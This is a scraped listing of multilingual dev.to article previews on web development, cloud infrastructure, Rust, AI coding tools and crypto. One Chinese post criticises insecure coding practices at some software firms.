    AI-Powered Root Cause Analysis: Introducing the Incident Investigator Marija N. for Microtica ・ Jul 15 #ai #devops #infrastructureascode  ( 3 min )
    Entiende el Aspect Ratio en CSS
    Puedes leer todo el articulo en mi sitio web byandrev.dev. Uno de los elementos fundamentales en el diseño de interfaces web es el aspect ratio o relación de aspecto. En pocas palabras, el aspect ratio se refiere a la proporción entre la altura y el ancho de un elemento, este elemento pueden ser imágenes o videos. Algunos de los aspect ratio más conocidos son los siguientes: Para definir el aspect ratio de un elemento debes hacer lo siguiente: selector { aspect-ratio: ancho / alto; } .image { width: 100%; aspect-ratio: 16 / 9; } Con el aspect ratio evitamos el layout shift, este es algo muy incómodo que suele suceder en los sitios webs. El layout shift hace referencia al movimiento inesperado del contenido de la web cuando los elementos están cargando. Aquí tienes un ejemplo sin el uso del aspect ratio y otro con esta propiedad, cuando no se usa el botón se traslada cuando carga la imagen, a esto se le conoce como layout shift.  ( 3 min )
    为什么我讨厌与马来西亚的软件公司合作?
    我是个写代码有洁癖的人 作为一名长期从事软件工程与架构设计的开发者,我主要涉猎: 后端语言:Golang、Java(Spring Boot)、C++、Python 前端 / 客户端开发:Next.js、Vue、Flutter、Android 原生(Java/Kotlin)、iOS SwiftUI 在过去数年的项目开发中,我习惯于从系统架构层面出发,先理清数据流、业务边界、模块划分,再开始编码。 代码不是写出来“能跑”就够了,而是要“经得起阅读、维护、迭代”。 代码要干净,架构要合理,安全性、稳定性与性能缺一不可。 但遗憾的是,在我与多家马来西亚本地软件公司合作的过程中,这些最基本的工程理念,经常被无情践踏,甚至被当作“累赘”对待。 在马来西亚,很多中小型软件公司普遍存在一种奇怪的开发心态: “只要客户不投诉,交付能上线,代码再乱也没关系。” 他们认为编码风格、架构规范、安全防护,都是“锦上添花”的“奢侈品”,而不是“必须品”。 但从一个架构师的角度出发,我看到的却是: 系统极度耦合、不可维护 安全漏洞触目惊心 UI/UX 设计极其草率 代码层面充满重复、拼凑、无测试的“代码垃圾” for 循环暴力构建 UI 这家公司在开发 Flutter 项目时,明明是异步数据渲染的场景,居然用 for() 循环硬刷 widget 列表,而不是 StreamBuilder 或 FutureBuilder。 结果造成页面卡顿、状态错乱、异常频发。 “这样比较快写完,而且能跑啊。” 这是快速交付吗?不,这是对框架机制的践踏。 这家公司到现在还在靠“打印源码纸质档案”做版本控制。每个月月底,把项目代码全部打印下来,装进文件夹归档。 没有 Git,没有 commit log,没有代码 diff、pull request,全靠纸质比对。 我问:“那多人协作开发怎么办?” 🤦‍♀️ 我无语到失语,21 世纪了,软件开发靠打印来备份?这是开发还是玩穿越剧? main.dart 塞 9000 行代码,自称 MVC 这个项目让我窒息: 所有页面和逻辑集中写在一个文件:main.dart 文件长达 9000 多行,包含十几个 class 和若干 void main() 函数 所有 UI 控件都用 Container 伪装 AppBar、FAB、BottomNavBar 每个组件都嵌套一个新的 MaterialApp 开发者说他们有在使用“MVC 架构”, main.dart 里。 你这不是 MVC,这是MCU(Marvel Cinematic Universe)宇宙坍缩。 一个 React Native 项目,管理员账号密码直接硬编码在代码里: const adminUsername = "admin"; const adminPassword = "123456"; 然后这家公司还拒绝引入 .env 或加密方案,理由是: “麻烦,没时间搞。” 你上线的是一个拥有后台权限的应用诶,不是你家门口的电灯开关。 这种行为说难听点就是:主动裸奔,还怪天气太热。 这家 Java 后端项目更是让我大开眼界: 所有接口都用 GET 请求(包括用户创建、修改、删除) 没有使用 ORM,全靠拼接 SQL 没有使用 OOP,全程 procedural 密码字段以明文存储在 MySQL 中,无加密、无 Hash、无 Salt 他们甚至说这“更方便调试和查询”。 但你知道这代表什么吗? GDPR、PDPA、安全合规这一类根本不在他们的词典里。 在我指出问题后,常常收到的回应是: “我们以前写 Delphi 的” “我是从 C# 转过来的” “语言不同,写法也不同” “客户看不到代码,能跑就行” 我只想说: 我也写过 COBOL 给银行做核心系统,也写过用 Erlang 实现的电信 SIP 调度项目。 我曾向某马来西亚交通部相关 Flutter 项目的团队报告严重的用户信息泄露漏洞(泄露包括身份证号码、用户实名、注册地址等全套数据), 我还完整撰写了报告并发布于我个人漏洞档案页: 🔗 Bug Bounty 案例分析 - 2025年3月24日 直到今天,无回应,无修复,无公告。 这样的官方项目都如此对待数据隐私,让我深感寒心。 我不是在否定整个马来西亚软件行业,的确也有认真负责的团队,但在我所接触的百余家公司里: 至少 70% 存在严重的技术不规范与安全意识缺失的问题。 我写这篇文章,不是为了抱怨,而是为了敲响一个警钟: 写烂代码可以短期交付,但你留不住客户 系统架构乱七八糟,维护的人每天都在流血 UI/UX 随意堆砌,用户体验烂掉,产品不会有未来 你写代码的方式,就是你做人做事的方式。 你代码乱,我也会怀疑你的生活方式是不是也一团糟。 你是否也经历过这些“地狱级”的开发现场? 欢迎留言,我们一起来聊聊 —— 别让“能上线”成为你对技术的全部理解。  ( 3 min )
    Ultimate Optimization of Lightweight Server Architecture(7006)
    GitHub Homepage During my junior year studies, I have been pondering a question: how can we optimize server architecture to the extreme while maintaining functional completeness? Traditional heavyweight frameworks, while feature-rich, often come with issues like high resource consumption and slow startup times. Recently, I encountered an impressive lightweight server architecture that completely changed my understanding of web server design. In my previous project experience, I have used mainstream frameworks like Spring Boot and Django. While these frameworks are powerful, their resource consumption left a deep impression on me. A simple Spring Boot application requires over 200MB of memory to start and often takes more than 10 seconds to boot up. // Traditional Spring Boot application st…  ( 8 min )
    [Boost]
    Inheritance in Java Sundar Joseph ・ Jul 24 #webdev #java #beginners #devops  ( 2 min )
    Inheritance in Java
    Java Inheritance is a fundamental concept in OOP(Object-Oriented Programming). It is the mechanism in Java by which one class is allowed to inherit the features(fields and methods) of another class. In Java, Inheritance means creating new classes based on existing ones. A class that inherits from another class can reuse the methods and fields of that class. In addition, you can add new fields and methods to your current class as well. Why Use Inheritance in Java?Code Reusability: The code written in the Superclass is common to all subclasses. Child classes can directly use the parent class code. Key Terminologies Used in Java Inheritance: Class: Class is a set of objects that share common characteristics/ behavior and common properties/ attributes. Class is not a real-world entity. It is …  ( 4 min )
    🛡️ How to Create AWS Firewall Rules with Terraform (And Why It's Like Programming a Smart Gate)
    Hey everyone 👋 If you're learning Terraform or building projects on AWS, you’ll eventually bump into the need to control who can access your resources — especially EC2 instances. And that’s where Security Groups come in. In this post, I’ll walk you through how I learned to create security group rules using Terraform — with real examples, gotchas, and how to think about it like you’re coding a smart lock system for your cloud environment. Let me break it down the way I wish someone had for me early on 👇 Imagine your EC2 instance is a secure building. port is like a door: Port 22 = the door to your terminal (SSH) Port 80 = the door for website traffic (HTTP) But you don’t want to leave all the doors open. That’s where the Security Group comes in — it’s like the gatekeeper that checks visit…  ( 5 min )
    Day 5 of My 180-Day Developer Challenge: Asking "Why?" Makes Every New Skill Easier to Learn
    My Secret to Tackling Tough Topics: Always Start With "Why?". Whenever I learn something new, I first look at why it was needed in the first place. If you ever encounter something difficult or complex. Just research why it was created and adopted in the first place. After that, It would be much easier to learn something. For example, You might want to know about cloud computing. Why was cloud computing was adopted? To make hosting easier and quicker - you could get any kind of machine you want. It could be a fserver, database, CDN, cache or backup. If you learn from that perspective, You instantly know why this service exists in the first place: why SSH key pair, why expose an IP address, why choose an OS or region. There could be a better example, But you get how easy it is to learn with …  ( 5 min )
    Starting out
    Currently working at Amrize as a Salesforce Helpdesk Analyst, and I decided to start learning more about Salesforce to up skill and explore development opportunities with Salesforce.  I will start posting daily notes, insight and experiences I'll be having in this learning process, so stay tuned and take a look at this account or LinkedIn to take a look at my progress!  Nick!  ( 3 min )
    Kimi K2 vs Qwen-3 Coder: 12 Hours of Testing!
    After spending 12 hours testing Kimi K2 and Qwen-3 Coder on identical Rust development tasks and Frontend Refactor tasks, I discovered something that benchmark scores don't reveal: In this testing environment, one model consistently delivered working code while the other struggled with basic instruction following. These findings challenge the hype around Qwen-3 Coder's benchmark performance and show why testing on your codebase matters more than synthetic scores. 🚀 Try The AI Shell Your intelligent coding companion that seamlessly integrates into your workflow. Sign in to Forge → I designed this comparison around actual development scenarios that mirror daily Rust development work. No synthetic benchmarks or toy problems, just 13 challenging Rust tasks across a mature 38,000-line Rust co…  ( 8 min )
    🚀 [Open Source] SmoothMotion – Clean, Smooth Animations in Jetpack Compose
    link-> https://github.com/abdullahalhakimi/SmoothMotion ✨ Features: 🛠️ Ideal For: 🧑‍💻 Contributions Welcome! I’d love feedback, suggestions, or contributions from the community. If you like it, consider giving it a ⭐️ or opening an issue/PR![]  ( 3 min )
    Benchmarking python JSON libraries
    While reading the FastAPI documentation I came across various python libraries for working with json. This got me thinking which one is the best, performance wise (including the python's built-in json module). I surfed the net, found some resources and comparisions, and thought of implementing them on my own. So, this article is about the perf benchmarks I got when testing these libraries and the methodology. Ubuntu 24.04 LTS RAM - 24 GB Python version - 3.12 json - Built-in Python JSON library; widely used but relatively slow. ujson - Fast C-based JSON parser; a drop-in replacement for json. orjson - Extremely fast Rust-based library with rich type support. rapidjson - Python wrapper for RapidJSON (C++); good performance and flexibility. msgspec - Ultra-fast library with optional typed st…  ( 4 min )
    Your Startup Doesn’t Need a Backend Dev - It Needs a Web3 Integrator!
    If you're developing a Web3 product, your first step might be to look for a backend developer. But in many cases, what your project truly needs is a developer who can bridge traditional backend systems with decentralized infrastructure. You need someone who understands how to write smart contracts, connect wallets, structure token logic, handle gas fees, manage on-chain/off-chain bridges, and still build APIs that don’t fall apart when MetaMask pops up. In short: you need a Web3 integrator. 🧠 What’s a Web3 Integrator? Their job isn’t just to build. It’s to bridge: Between your dApp frontend and the blockchain. Between smart contracts and databases. Between real users and token logic. Between hype and real functionality. They understand gas optimization, contract upgrades, wallet UX, and how to prevent front-running. And they also know how to make sure your app still works if a Web3 provider goes down. 🧱 Why Backend Devs Alone Won’t Cut It Smart contracts are written as an afterthought (and need a rewrite). Blockchain calls aren’t gas-efficient. Users get stuck on wallet errors. Events aren’t emitted, so debugging becomes hell. They build everything off-chain “for now” - which becomes “forever.” The result? A product that looks decentralized... but isn’t. Or worse, it doesn’t work at all when real users show up. 🚧 Real-World Tasks a Web3 Integrator Owns Setting up contract factories and linking them to frontend flows Building REST or GraphQL APIs that read from the blockchain Indexing smart contract events with The Graph or custom logic Creating secure auth flows with wallet sign-ins Managing token gating, vesting, and permissions Ensuring replay protection and preventing MEV vulnerabilities Building fallback systems when chain RPCs go down Auditing and testing everything before mainnet deploy This isn’t stuff you can slap together in a weekend sprint. Final Thought You need someone who gets the full stack - including the parts that live on-chain.  ( 4 min )
    Rust Implementation for High Concurrency Processing(8616)
    GitHub Homepage During my junior year studies, high concurrency processing has always been one of the technical fields I'm most interested in. While traditional multi-threading models can handle concurrent requests, they often encounter performance bottlenecks when facing large numbers of connections. Recently, I deeply studied a Rust-based web framework whose high concurrency processing capabilities gave me a completely new understanding of asynchronous programming. In my previous projects, I used thread pool-based concurrency processing models. This model allocates a thread for each request, and while implementation is simple, it has obvious scalability issues. // Traditional Java thread pool model @RestController public class TraditionalController { private final ExecutorService th…  ( 8 min )
    Built a low-cost hosting platform for AI-built sites like Lovable, Orchids & v0 — tired of paying $20–$60/mo for simple exports.
    I’ve been using AI site builders like Lovable, Orchids, and v0.dev to build fast — they’re great for design, but not so great when you want full control. Most platforms either lock you in with expensive subscriptions or charge way too much just to keep a static export live (I was paying nearly $40/month 😬). So I decided to build something better. Trafico AI is a hosting platform made specifically for AI site exports — simple HTML, React, Next.js projects built with tools like Lovable AI, Orchids, v0, 10Web, and more. Upload your code Go live fast Starts at just $2.99/month Free SSL, CDN, custom domains No lock-in, no bloated features The goal? Remove hosting stress and high price barriers for indie builders, especially those working in regions where global tools often fail (failed cards, pricing in USD, etc). You can sign up for early access here: https://www.trafico.ai Would love to hear your feedback if this sounds useful — and happy to answer any questions! 🙌  ( 3 min )
    Centralized Data Is No Longer a Luxury, It’s a Performance Driver
    Thanks to modern web development, data centralization is no longer abstract. It's sophisticated and actionable. A well-crafted dashboard, powered by robust APIs, can bring together CRM, e-commerce, analytics, and more, into one seamless, scalable interface. Say goodbye to the endless back-and-forth between Excel and Drive. The web offers real-time synchronization, accessible from any device. Centralization is also protection. Security-first web infrastructure reduces data leaks and strengthens compliance (GDPR, etc.). From a UX perspective, it spares teams the frustration of fragmented and inconsistent systems. What’s your take?  ( 3 min )
    Synchronous by Design: Why async/await in REST or gRPC Doesn’t Make Your System Asynchronous
    Modern .NET developers often lean on async/await to build performant APIs and services. But here's a critical truth: Using async/await in a synchronous communication model doesn’t make your system asynchronous. This misunderstanding is common in RESTful and gRPC-based architectures. It often leads to bottlenecks, false scalability assumptions, and overly tight coupling between services. Let’s dive into the core of the issue what asynchronicity really means, how it's different from non-blocking code, and why REST/gRPC are inherently synchronous, even when wrapped in async/await. 🔗 Synchronous Systems Example: var user = await _userServiceClient.GetUserAsync(userId); Even though you're using await, the service cannot continue until it receives a response from the _userServiceClient. The t…  ( 5 min )
    Report from Nuxt auto-import pitfall
    We all have been there, right? Spending frustrating hours trying to solve a mysterious bug. Nothing works and it doesn't even make sense. Until it suddenly does. You realize what was wrong. And the solution actually works! Such a mix of happiness, relief and pride - you are still worthy! Last time I experienced this was yesterday. And I want to share the story. Because I think the reason is quite interesting. It is related to Nuxt and the specific behavior of this JS framework. If you are not familiar with Nuxt, you might not be so amused. But if you are a fellow Nuxter, this might help you someday. To make it quick, I was playing with Nuxt Content. This module takes your Markdown-formatted files and does most of the hard work to display its contents on your website. With the latest versi…  ( 4 min )
    Next-Level Intranet: OfficeSpace with Dark Mode & Widgets
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space My intranet layout is a modern, responsive dashboard designed to boost engagement and productivity. It features a hero section, team spotlight, upcoming events carousel, quick links, and a sticky sidebar with live widgets (clock, weather, notifications). I aimed to create a dynamic, user-friendly space with personalization (drag-and-drop widgets), dark mode, and smooth animations for an interactive experience. Demo Link Repo Link I started by planning a clean layout that mimics a real company intranet, then built the structure in HTML and styled it for a modern, responsive design with CSS Grid and Flexbox. After that, I added interactivity with JavaScript, including dark mode, an auto-sliding event carousel with swipe support, and a sticky sidebar with real-time widgets (clock, weather, and notifications). One of my proudest choices was implementing drag-and-drop widgets in the sidebar with Local Storage, giving users the ability to personalize their dashboard. This feature makes the intranet feel dynamic and user-centric. I learned how to combine responsive design, smooth animations, and interactive features in a way that feels like a real digital workspace employees would use daily.  ( 3 min )
    Designing Smart Multi-Agent Workflows with Agno & LangDB
    Build a multi-agent financial analysis team with LangDB and Agno that can reason, research, and report on complex financial data. In the world of finance, staying ahead requires more than just data; it requires deep analysis, contextual awareness, and collaborative reasoning. What if you could build a team of AI agents to do this for you? In this post, we'll show you how to build a sophisticated, multi-agent financial analysis team using LangDB and Agno. This guide walks you through building a multi-agent workflow using Agno for orchestration and LangDB as the AI Gateway. We'll use a financial analysis team as a practical example to show how you can build sophisticated agent systems that are easy to manage and debug, thanks to LangDB's end-to-end tracing, dynamic tooling, and access to ove…  ( 7 min )
    B4Ugo: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. B4Ugo - Before You Go helps you avoid crowds, shortages, and delays by showing real-time reports and maps from other users before you leave home. Smarter decisions start here Team Members: ר ק Project URL: https://devpost.com/software/2bupdated While B4Ugo represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building B4Ugo wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 1 came together through the hackathon's networking channels. Despite being a solo effort, we found common ground in our pass…  ( 4 min )
    Measures of central tendencies
    In the world of data analysis, making sense of large volumes of information is crucial. One of the foundational concepts that enable this is measures of central tendency. These are statistical tools used to describe the center point or typical value of a dataset, helping analysts and data scientists summarize data in a meaningful way. The three most common measures are the mean, median, and mode each serving a unique purpose depending on the data context. The Mean: The Arithmetic Average The Median: The Middle Ground The Mode: The Most Frequent Value Why Measures of Central Tendency Matter in Data Science Data Summarization and Exploration Understanding Data Distributions Outlier Detection Feature Engineering and Preprocessing Communication and Reporting  ( 4 min )
    What Vibe Coding Actually Looks Like for a Senior Engineer
    Vibe coding is all the rave right now. Both from people using it and claiming it took them 1 hour to build a real product, to those selling AI tools with claims that it'll replace engineers. My experience is different. I use AI as a peer programming tool, and I've shared a few resources1 for tuning your mindset on how to best utilize it as a senior+ engineer. In this post, I'll share the process I used in building BreezeQ2 — a Node.js background job tool with a focus on scalability and high performance. Before we go further, here's a brief video showing how the system works: It took me between 12 to 20 hours, spread over five days. Is it still considered vibe coding if it took that long? Through building BreezeQ, I discovered a reliable approach that balances AI assistance with enginee…  ( 6 min )
    How to Decide if Your Product Needs AI (or If You’re Just Chasing Trends)
    In the current technology landscape, "AI-powered" is often treated as a definitive badge of innovation. Investors are drawn to it. Customers expect it. And businesses everywhere are scrambling to ride the hype. However, the strategic application of AI is a matter of precision, not trends. Adding AI "just because" can drain budget, burn out teams, and dilute everyone’s focus on the real goals. The critical question is not if you can use AI, but why you should. Below is a step-by-step guide that’s designed to help you decide with clarity. AI excels in tasks that require cognitive-level processing. To determine if it’s the right fit, diagnose your own situation with a foundational question: Is there an intellectual process I’m trying to automate? If your answer is no, and the task can be so…  ( 6 min )
    The Ultimate Guide to Software Architecture in Next.js: From Monolith to Microservices
    When building web applications with Next.js, one of the most critical — and often overlooked — decisions is how to structure your project. Should you start with a simple monolithic setup? Should you organize your features modularly? Or are you aiming for a fully scalable microservices or serverless architecture? In this guide, we'll walk through various architecture patterns that can be implemented in Next.js — from traditional monoliths to modular structures, microservices, and modern serverless approaches. Whether you're building a small side project or architecting a production-grade platform, this article will help you choose and implement the right structure for your needs. Let's dive into the architecture landscape of Next.js and learn how to build applications that are scalable, mai…  ( 11 min )
    How I replaced Obsidian and Emacs Org-mode with localStorage
    I have been (and still am) a big fan of Obsidian, Notion, Emacs Org-Mode and other multi-purpose productivity apps. They are so flexible that you can do almost anything with them! ... I have also found that their flexibility is their biggest downside. If you have ever used Obsidian or Emacs Org-mode, chances are that you ended up trying to use it for everything - note taking, day planning, gym routine tracking, personal finance and the list goes on. I have found that Obsidian and Org-mode are really good for note taking. And that's it. That's where it should stop. Everything I’ve tried to make it work for other purposes has always felt like a hack. "Oh sure, I don't mind using a text editor with my thumbs on my phone to fill out my reps in the gym, it's not hard at all". "I don't mind t…  ( 5 min )
    Zed disable AI feature
    After I read the blogpost it was the first time I was thinking of checking out the editor. The catchphrase of Zed is, the world’s fastest AI code editor. So why are they allowing us to disable all AI features? their point of view is very pragmatic. Most AI tools prefer to divide people in AI optimists and AI pessimists. And all other situations are swept under the rug. Sadly Zed is in the shadow of Cursor and Windsurf. As far as I know you can turn off some AI features, but not all, in those apps. The following question is, are going developers going to pick Zed over Cursor or Windsurf because of the versatile AI choices? I'm using the Jetbrains editors, and I rely on the auto complete to make the typing faster. I'm using AI to write bigger pieces of code, so basically as a typist with some technical knowledge. And for things I'm not sure of. AI providers make not logging in a very annoying experience. So I think it will not be long before I will explore running local AI's. I invite the AI optimists who think we won't even need editors in the future because AI is just going to write machine code from the specs and code history. Think about your current way of working, and how would you improve it? Let us know it in the comments.  ( 4 min )
    Node.js Hosting: DIY Flexibility vs. Stormkit’s Streamlined Power
    When it comes to hosting Node.js applications, you’re faced with a choice: build and manage your own infrastructure or use an orchestrator like Stormkit, purpose-built to scale and simplify, especially for managing multiple apps or hundreds of long-lived processes. While DIY hosting offers control, Stormkit’s feature set makes it a compelling choice for developers looking to optimize resources and streamline workflows. Let’s break down the trade-offs, highlighting Stormkit’s unique strengths and acknowledging the realities of self-hosting. Running your own Node.js setup, with a process manager like PM2, or systemd, gives you full control over your environment. For small projects or developers who enjoy fine-tuning servers, this can be a great fit. But as you scale to multiple apps or hund…  ( 5 min )
    Web Developer Travis McCracken on Writing Middleware in Go for Fun & Profit
    Navigating the Future of Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a seasoned web developer specializing in backend systems, I’ve spent years exploring the evolving landscape of programming languages that power today's scalable and high-performance APIs. Among the myriad options, Rust and Go have emerged as front-runners, each offering unique strengths that cater to different facets of backend development. In this post, I’ll share my insights into these languages, highlight some exciting projects—like the fictional fastjson-api and rust-cache-server—and discuss how they’re shaping the future of API development. When designing efficient, reliable, and fast APIs, choosing the right backend language is crucial. Rust and Go have garnered attention fo…  ( 5 min )
    Layer-Zero Wars: Cosmos, Polkadot, and Avalanche Compete to Define Web3’s Core Infrastructure
    The vision of blockchain interoperability—seamless communication between sovereign networks—has transitioned from theory to implementation. Today, Cosmos, Polkadot, and Avalanche represent the leading contenders in what is being called the "layer-zero" race: the battle to become the foundational communication layer for Web3, similar to what TCP/IP is for the traditional internet. Each project brings a distinct architectural approach and set of trade-offs that impact where developers build, how assets move, and what standards may ultimately dominate. Cosmos launched its Inter-Blockchain Communication (IBC) protocol in 2021 and has since built the largest production-grade interoperability network in the ecosystem. Over 115 independent blockchains are connected via IBC, moving over €900 milli…  ( 5 min )
    Modern Server-Side Event Implementation(9537)
    GitHub Homepage During my junior year studies, server-side push technology has always been a key focus area. Compared to traditional client polling, server-side push enables true real-time data transmission, significantly improving user experience. Recently, I deeply studied a Rust-based web framework whose Server-Sent Events (SSE) support gave me a completely new understanding of modern push technologies. In my previous projects, I tried various traditional push technology solutions. While traditional Ajax polling is simple, it's inefficient and wasteful of resources. // Traditional Ajax polling implementation class TraditionalPolling { constructor(url, interval = 5000) { this.url = url; this.interval = interval; this.isRunning = false; this.timeoutId = null; } star…  ( 8 min )
    Understanding NoSQL Databases: A Flexible Approach to Data Storage day 13 of learning system Design
    NoSQL databases have become a cornerstone of modern application development, offering a flexible and scalable alternative to traditional relational databases. Unlike relational databases that rely on structured tables and SQL, NoSQL databases store data in formats like key-value pairs, documents, or graphs. In this article, we'll explore what NoSQL databases are, their advantages and disadvantages, when to use them, and why some applications avoid them. We'll also include a flowchart to illustrate how NoSQL databases fit into application architectures. What Are NoSQL Databases? For example, a key-value NoSQL database might store user data as: Key: user123 Value: { "name": "Alice", "email": "alice@example.com" } This simplicity makes NoSQL databases like Cassandra, MongoDB, or Redis popul…  ( 6 min )
    How I Made YouTube Screenshot Helper Work on Edge (and What Kiro Taught Me About Browser Extensions)
    Building a Cross-Browser Screenshot Extension: My Journey with Kiro The Challenge I'm a student who loves using online lectures but hates messy screenshots—especially when YouTube's video controls show up, or when I have to painstakingly sort images into folders afterward. That's why I built YouTube Screenshot Helper for Chrome: it let me capture the perfect lecture slides and kept my schoolwork organized without the hassle. But then reality struck: not everyone uses Chrome. When I tried to bring the same magic to Microsoft Edge, I quickly learned that browser compatibility isn't just about copy-pasting code. Edge threw its own set of problems at me—from stubborn storage quirks to security restrictions that seemed designed to make any kind of folder structure impossible. Here'…  ( 5 min )
    Terraform: How to Deploy Compute Engine, Network, and Subnet with Terraform on GCP
    I'm exited to share with you a comprehensive guide on deploying compute engine, network and Subnet on GCP using terraform. This guide will walk you through the process of setting up robust infrastructure on GCP using terraform's infrastructure-as-a-code (Iac) approach. Prerequisite Before we dive in, make sure you have: A GCP account with billing enabled Terraform installed on your machine Step 1: Create a file Create a file on your laptop, name it terraform project Right click on the file and open it with VS code. Create a provider.tf file once you open your VS code Step 2: Deployment Go to your browser and search for terraform provider Click on GCP (because we are deploying the resources to GCP) Click on use provider Then copy provider command Go to your VS code, click on the prov…  ( 5 min )
    Exploring Design Patterns in Solidity
    Solidity, the primary programming language for Ethereum smart contracts, leverages design patterns to create secure, efficient, and maintainable decentralized applications (dApps). Design patterns are reusable solutions to common problems in software development, tailored to the unique constraints of blockchain environments, such as gas optimization, immutability, and security. Below, we explore some of the most widely used Solidity design patterns, their purposes, and practical examples. Factory Pattern: The Factory pattern enables a contract to create and manage multiple instances of other contracts, often referred to as child contracts. This pattern is useful for deploying similar contracts with different parameters, improving modularity and scalability. Example: A factory contract for …  ( 5 min )
    Meta prompt; Why your prompt alone may be limiting your LLM
    There's a good chance you are not getting the best out of your LLM (Large Language Model) not because the model isn't powerful enough, but because your prompt isn't. Maybe you are too quick to ask a question before structuring your thought or it could be that you are not giving your LLM enough context. In my early days of writing prompts, I found myself doing something interestingly odd which is giving my rough prompt to another LLM just to see how it would rewrite or improve it and most times the results are often better, more structured and often closer to what I actually needed. At the time, I didn’t have a name for this process. It just felt like I was refining a prompt through another prompt. But few weeks ago, I learned the actual term which is called meta prompting. That's when it …  ( 9 min )
    GitHub Spark Has Arrived - Dream It, See It, Ship It
    Imagine if building an app was as easy as talking about your idea. With GitHub Spark now in public preview for Copilot Pro+ subscribers, that is exactly what is happening. Spark lets you turn a simple prompt into a full-stack web app, complete with hosting, backend, frontend, and built-in AI. The process boils down to three steps: Dream it, See it, Ship it. Spark is your AI-powered sidekick for software creation. Just write what you want, and Spark builds a running app for you with version control, CI/CD, deployment, and AI services included. You do not have to wrangle with setup or boilerplate. You do not even have to write code unless you want to. Your idea becomes a real app in minutes. Starting something new is simple. Toss an idea at Spark like: Make a chatbot that answers climate que…  ( 5 min )
    Azure Free Tier: What Can You Actually Build?
    Zero Cost. Maximum Learning. Real Projects. Whether you're new to the cloud and just starting out or want to have some fun and experiment while saving money, Microsoft Azure Free Tier is an unexpectedly powerful playground. But let's look past the marketing hype, what exactly can you build? Let's go further than the basic and discover real-life, real-world, practical, and also some unknowns that are possible. Microsoft Azure Fundamentals (AZ-900) or just trying to build out your portfolio, this blog will give you the information to take free services and turn them into live projects with zero cost and maximum learning. Before we build anything, let’s understand what you’re working with: $200 credit for the first 30 days 12 months of free services like virtual machines, storage, databases 6…  ( 5 min )
    Application of Async Programming in Web Development(8530)
    GitHub Homepage As a junior computer science student, I gradually recognized the importance of asynchronous programming during my web development learning process. Traditional synchronous programming models often cause thread blocking when handling IO-intensive tasks, while asynchronous programming allows programs to continue processing other tasks while waiting for IO operations. Recently, I deeply studied a Rust-based web framework whose asynchronous programming implementation gave me a completely new understanding of this technology. In my previous projects, I used traditional synchronous programming models. While this model has clear logic, it encounters serious performance bottlenecks when handling large numbers of concurrent requests. // Traditional synchronous programming example @R…  ( 8 min )
    Progressive Web Apps: The Future of Fast, Reliable, and Engaging Digital Experiences
    The digital world is changing rapidly, and users today expect more than just responsive websites. They want speed, offline functionality, push notifications, and seamless interactions — all in one place. Enter progressive web apps (PWAs), the revolutionary technology that combines the power of native apps with the accessibility of the web. From startups to global enterprises, companies across industries are adopting PWAs to offer fast, installable, and reliable user experiences without the friction of app stores or bloated downloads. If you're looking to build scalable digital experiences that work across devices and network conditions, PWAs are your answer. What Are Progressive Web Apps (PWAs)? Offline access Key Features That Set PWAs Apart Wider Reach When Should You Choose a PWA? You want to bypass app store delays and restrictions. Use Cases Across Industries Why IOweb3 for Progressive Web App Development Converting legacy web platforms into PWAs How We Build Progressive Web Apps at IOweb3 Discovery & Planning 2x faster page load times Final Thoughts The future of digital experiences is fast, reliable, and installable. Don’t get left behind. Partner with IOweb3 to build a PWA that performs at scale and keeps your users coming back for more.  ( 5 min )
    Just joined. Looking forward to collaborate and share more here on Dev.to
    A post by Sanjeev Sarkar  ( 2 min )
    🚀 Why 2025 Is the Year Big Business Finally Goes Crypto
    BTC is over $123K — but this time, it’s more than just a headline. It’s a signal for corporations. Crypto is no longer an experiment — it’s part of business strategy. 🔹 Institutions are entering via ETFs and partnerships In the article, the author also compares top exchanges — Binance, WhiteBIT, Coinbase, Kraken, and Bybit — and the services they offer to institutional clients: 📊 From Market Making programs to Crypto-as-a-Service, APIs, white-label solutions, and infrastructure integrations. 👉 Why is now the best time to enter the market? 👉 How can projects pitch effectively to funds and secure investment?  ( 3 min )
    O golpe do Perfil Dourado
    Fuja de quem tenta lucrar com sua insegurança profissional Existe uma narrativa tentando convencer as pessoas de que elas não sabem se vender, e que isto as prejudica, tornando-as invisíveis às pessoas de recrutamento que poderiam lhes abordar com boas oportunidades. Eu não estou aqui pra te convencer do contrário, e dizer que você não deveria cuidar da sua apresentação, e que o seu perfil não deveria ser elaborado de uma forma que destaque sua competência, sua experiência e suas habilidades técnicas e não técnicas (as famosas soft skills). Eu mesmo não me considero exemplo de alguém qualificado pra dar tal conselho e, muito provavelmente, alguém que queira ver meu perfil poderá dizer que ele falha miseravelmente neste propósito. E esta é uma crítica que eu aceito numa boa, embora eu pos…  ( 5 min )
    How Code Goes from Your Local Machine to a Live App
    Here’s a quick breakdown of what a typical Azure DevOps pipeline looks like — straight from commit to production: Run basic checks — linting, build, unit tests. If something fails, no merge. Keeps bad code out early. Once merged, CI kicks in. It runs integration tests, pulls secrets from Azure Key Vault, and builds the container image. Keeps the codebase stable. Deploy to staging (e.g., AKS). Run acceptance tests. Add a manual approval step if needed. Make sure everything works before going live. If staging is green, promote the image to production. No rebuilds. No surprises. Use Azure Monitor + Container Insights for logs, metrics, health checks. Application Insights helps debug real issues fast. Defender for DevOps helps with static code analysis and pipeline-level security. Set it up once — saves you later. That’s it — a reliable, secure pipeline from PR to production. Try Cloudchart by Cloudairy — build clean, AI powered architecture diagrams in minutes. 👉 Start Here  ( 3 min )
    New Choice for Cross-Platform Web Service Development(4933)
    GitHub Homepage As a junior student, I often need to switch between different operating systems during my web development learning process. The Windows computer in my dorm, the Linux server in the lab, and my personal MacBook each have their unique development environments. This multi-platform development requirement made me deeply appreciate the importance of cross-platform compatibility. Recently, I discovered an impressive web framework whose performance in cross-platform support made me reconsider the possibilities of web service development. In my previous project experience, cross-platform development has always been a headache. While Java's Spring Boot can achieve "write once, run anywhere," the resource consumption and startup time of the JVM are daunting. Although Node.js can run …  ( 8 min )
    Google AI Studio Challenge - Linux Services Monitor
